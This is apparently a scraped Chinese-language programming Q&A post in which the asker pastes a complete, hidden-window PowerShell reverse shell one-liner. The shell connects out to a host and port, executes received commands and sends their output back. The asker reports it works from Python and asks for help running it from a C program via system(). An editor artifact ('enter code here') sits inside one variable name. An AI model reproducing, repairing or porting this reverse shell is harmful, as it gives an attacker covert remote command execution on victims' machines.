【发布时间】:2021-03-24 07:39:47
【问题描述】:
我尝试使用执行系统命令,但是当我通过 powershell 进入 system(""); 时,C 不理解
powershell 反向shell:
powershell -W Hidden -nop -c "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$send`enter code here`back2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
当我使用 subprocess 模块将此 rev shell 用于 python 时,当我指定此 subprocess.call(''' ''') 时它工作正常@
帮助我在 C 中使用这个 rev shell:
【问题讨论】:
标签: python c powershell